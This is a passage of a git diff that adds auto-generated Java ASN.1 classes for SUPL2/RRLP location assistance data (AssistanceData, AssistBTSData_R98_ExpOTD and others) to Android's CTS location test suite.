+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "roughRTD : "
+ + getRoughRTD().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getCalcAssistanceBTS() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCalcAssistanceBTS();
+ }
+
+ @Override public void setToNewInstance() {
+ setCalcAssistanceBTSToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CalcAssistanceBTS.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "calcAssistanceBTS : "
+ + getCalcAssistanceBTS().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("AssistBTSData = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistBTSData_R98_ExpOTD.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistBTSData_R98_ExpOTD.java
new file mode 100755
index 0000000..bc8ed64
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistBTSData_R98_ExpOTD.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class AssistBTSData_R98_ExpOTD extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_AssistBTSData_R98_ExpOTD
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public AssistBTSData_R98_ExpOTD() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_AssistBTSData_R98_ExpOTD;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_AssistBTSData_R98_ExpOTD != null) {
+ return ImmutableList.of(TAG_AssistBTSData_R98_ExpOTD);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new AssistBTSData_R98_ExpOTD from encoded stream.
+ */
+ public static AssistBTSData_R98_ExpOTD fromPerUnaligned(byte[] encodedBytes) {
+ AssistBTSData_R98_ExpOTD result = new AssistBTSData_R98_ExpOTD();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new AssistBTSData_R98_ExpOTD from encoded stream.
+ */
+ public static AssistBTSData_R98_ExpOTD fromPerAligned(byte[] encodedBytes) {
+ AssistBTSData_R98_ExpOTD result = new AssistBTSData_R98_ExpOTD();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private ExpectedOTD expectedOTD_;
+ public ExpectedOTD getExpectedOTD() {
+ return expectedOTD_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ExpectedOTD
+ */
+ public void setExpectedOTD(Asn1Object value) {
+ this.expectedOTD_ = (ExpectedOTD) value;
+ }
+ public ExpectedOTD setExpectedOTDToNewInstance() {
+ expectedOTD_ = new ExpectedOTD();
+ return expectedOTD_;
+ }
+
+ private ExpOTDUncertainty expOTDuncertainty_;
+ public ExpOTDUncertainty getExpOTDuncertainty() {
+ return expOTDuncertainty_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ExpOTDUncertainty
+ */
+ public void setExpOTDuncertainty(Asn1Object value) {
+ this.expOTDuncertainty_ = (ExpOTDUncertainty) value;
+ }
+ public ExpOTDUncertainty setExpOTDuncertaintyToNewInstance() {
+ expOTDuncertainty_ = new ExpOTDUncertainty();
+ return expOTDuncertainty_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getExpectedOTD() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExpectedOTD();
+ }
+
+ @Override public void setToNewInstance() {
+ setExpectedOTDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ExpectedOTD.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "expectedOTD : "
+ + getExpectedOTD().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getExpOTDuncertainty() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExpOTDuncertainty();
+ }
+
+ @Override public void setToNewInstance() {
+ setExpOTDuncertaintyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ExpOTDUncertainty.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "expOTDuncertainty : "
+ + getExpOTDuncertainty().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("AssistBTSData_R98_ExpOTD = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistanceData.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistanceData.java
new file mode 100755
index 0000000..7a0533d
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistanceData.java
@@ -0,0 +1,705 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.map_extensiondatatypes.ExtensionContainer;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class AssistanceData extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_AssistanceData
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public AssistanceData() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_AssistanceData;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_AssistanceData != null) {
+ return ImmutableList.of(TAG_AssistanceData);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new AssistanceData from encoded stream.
+ */
+ public static AssistanceData fromPerUnaligned(byte[] encodedBytes) {
+ AssistanceData result = new AssistanceData();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new AssistanceData from encoded stream.
+ */
+ public static AssistanceData fromPerAligned(byte[] encodedBytes) {
+ AssistanceData result = new AssistanceData();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private ReferenceAssistData referenceAssistData_;
+ public ReferenceAssistData getReferenceAssistData() {
+ return referenceAssistData_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceAssistData
+ */
+ public void setReferenceAssistData(Asn1Object value) {
+ this.referenceAssistData_ = (ReferenceAssistData) value;
+ }
+ public ReferenceAssistData setReferenceAssistDataToNewInstance() {
+ referenceAssistData_ = new ReferenceAssistData();
+ return referenceAssistData_;
+ }
+
+ private MsrAssistData msrAssistData_;
+ public MsrAssistData getMsrAssistData() {
+ return msrAssistData_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MsrAssistData
+ */
+ public void setMsrAssistData(Asn1Object value) {
+ this.msrAssistData_ = (MsrAssistData) value;
+ }
+ public MsrAssistData setMsrAssistDataToNewInstance() {
+ msrAssistData_ = new MsrAssistData();
+ return msrAssistData_;
+ }
+
+ private SystemInfoAssistData systemInfoAssistData_;
+ public SystemInfoAssistData getSystemInfoAssistData() {
+ return systemInfoAssistData_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SystemInfoAssistData
+ */
+ public void setSystemInfoAssistData(Asn1Object value) {
+ this.systemInfoAssistData_ = (SystemInfoAssistData) value;
+ }
+ public SystemInfoAssistData setSystemInfoAssistDataToNewInstance() {
+ systemInfoAssistData_ = new SystemInfoAssistData();
+ return systemInfoAssistData_;
+ }
+
+ private GPS_AssistData gps_AssistData_;
+ public GPS_AssistData getGps_AssistData() {
+ return gps_AssistData_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPS_AssistData
+ */
+ public void setGps_AssistData(Asn1Object value) {
+ this.gps_AssistData_ = (GPS_AssistData) value;
+ }
+ public GPS_AssistData setGps_AssistDataToNewInstance() {
+ gps_AssistData_ = new GPS_AssistData();
+ return gps_AssistData_;
+ }
+
+ private MoreAssDataToBeSent moreAssDataToBeSent_;
+ public MoreAssDataToBeSent getMoreAssDataToBeSent() {
+ return moreAssDataToBeSent_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MoreAssDataToBeSent
+ */
+ public void setMoreAssDataToBeSent(Asn1Object value) {
+ this.moreAssDataToBeSent_ = (MoreAssDataToBeSent) value;
+ }
+ public MoreAssDataToBeSent setMoreAssDataToBeSentToNewInstance() {
+ moreAssDataToBeSent_ = new MoreAssDataToBeSent();
+ return moreAssDataToBeSent_;
+ }
+
+ private ExtensionContainer extensionContainer_;
+ public ExtensionContainer getExtensionContainer() {
+ return extensionContainer_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ExtensionContainer
+ */
+ public void setExtensionContainer(Asn1Object value) {
+ this.extensionContainer_ = (ExtensionContainer) value;
+ }
+ public ExtensionContainer setExtensionContainerToNewInstance() {
+ extensionContainer_ = new ExtensionContainer();
+ return extensionContainer_;
+ }
+
+
+
+ private Rel98_AssistanceData_Extension extensionRel98_AssistanceData_Extension;
+ public Rel98_AssistanceData_Extension getExtensionRel98_AssistanceData_Extension() {
+ return extensionRel98_AssistanceData_Extension;
+ }
+ /**
+ * @throws ClassCastException if value is not a Rel98_AssistanceData_Extension
+ */
+ public void setExtensionRel98_AssistanceData_Extension(Asn1Object value) {
+ extensionRel98_AssistanceData_Extension = (Rel98_AssistanceData_Extension) value;
+ }
+ public void setExtensionRel98_AssistanceData_ExtensionToNewInstance() {
+ extensionRel98_AssistanceData_Extension = new Rel98_AssistanceData_Extension();
+ }
+
+ private Rel5_AssistanceData_Extension extensionRel5_AssistanceData_Extension;
+ public Rel5_AssistanceData_Extension getExtensionRel5_AssistanceData_Extension() {
+ return extensionRel5_AssistanceData_Extension;
+ }
+ /**
+ * @throws ClassCastException if value is not a Rel5_AssistanceData_Extension
+ */
+ public void setExtensionRel5_AssistanceData_Extension(Asn1Object value) {
+ extensionRel5_AssistanceData_Extension = (Rel5_AssistanceData_Extension) value;
+ }
+ public void setExtensionRel5_AssistanceData_ExtensionToNewInstance() {
+ extensionRel5_AssistanceData_Extension = new Rel5_AssistanceData_Extension();
+ }
+
+ private Rel7_AssistanceData_Extension extensionRel7_AssistanceData_Extension;
+ public Rel7_AssistanceData_Extension getExtensionRel7_AssistanceData_Extension() {
+ return extensionRel7_AssistanceData_Extension;
+ }
+ /**
+ * @throws ClassCastException if value is not a Rel7_AssistanceData_Extension
+ */
+ public void setExtensionRel7_AssistanceData_Extension(Asn1Object value) {
+ extensionRel7_AssistanceData_Extension = (Rel7_AssistanceData_Extension) value;
+ }
+ public void setExtensionRel7_AssistanceData_ExtensionToNewInstance() {
+ extensionRel7_AssistanceData_Extension = new Rel7_AssistanceData_Extension();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceAssistData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceAssistData();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceAssistDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceAssistData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceAssistData : "
+ + getReferenceAssistData().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getMsrAssistData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMsrAssistData();
+ }
+
+ @Override public void setToNewInstance() {
+ setMsrAssistDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MsrAssistData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "msrAssistData : "
+ + getMsrAssistData().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getSystemInfoAssistData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSystemInfoAssistData();
+ }
+
+ @Override public void setToNewInstance() {
+ setSystemInfoAssistDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SystemInfoAssistData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "systemInfoAssistData : "
+ + getSystemInfoAssistData().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getGps_AssistData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGps_AssistData();
+ }
+
+ @Override public void setToNewInstance() {
+ setGps_AssistDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPS_AssistData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gps_AssistData : "
+ + getGps_AssistData().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getMoreAssDataToBeSent() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMoreAssDataToBeSent();
+ }
+
+ @Override public void setToNewInstance() {
+ setMoreAssDataToBeSentToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MoreAssDataToBeSent.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "moreAssDataToBeSent : "
+ + getMoreAssDataToBeSent().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getExtensionContainer() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionContainer();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionContainerToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ExtensionContainer.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "extensionContainer : "
+ + getExtensionContainer().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionRel98_AssistanceData_Extension() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionRel98_AssistanceData_Extension();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionRel98_AssistanceData_ExtensionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rel98_AssistanceData_Extension : "
+ + getExtensionRel98_AssistanceData_Extension().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionRel5_AssistanceData_Extension() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionRel5_AssistanceData_Extension();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionRel5_AssistanceData_ExtensionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rel5_AssistanceData_Extension : "
+ + getExtensionRel5_AssistanceData_Extension().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionRel7_AssistanceData_Extension() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionRel7_AssistanceData_Extension();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionRel7_AssistanceData_ExtensionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rel7_AssistanceData_Extension : "
+ + getExtensionRel7_AssistanceData_Extension().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("AssistanceData = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistanceNeeded.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistanceNeeded.java
new file mode 100755
index 0000000..5d88c5a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistanceNeeded.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class AssistanceNeeded extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_AssistanceNeeded
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public AssistanceNeeded() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_AssistanceNeeded;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_AssistanceNeeded != null) {
+ return ImmutableList.of(TAG_AssistanceNeeded);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new AssistanceNeeded from encoded stream.
+ */
+ public static AssistanceNeeded fromPerUnaligned(byte[] encodedBytes) {
+ AssistanceNeeded result = new AssistanceNeeded();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new AssistanceNeeded from encoded stream.
+ */
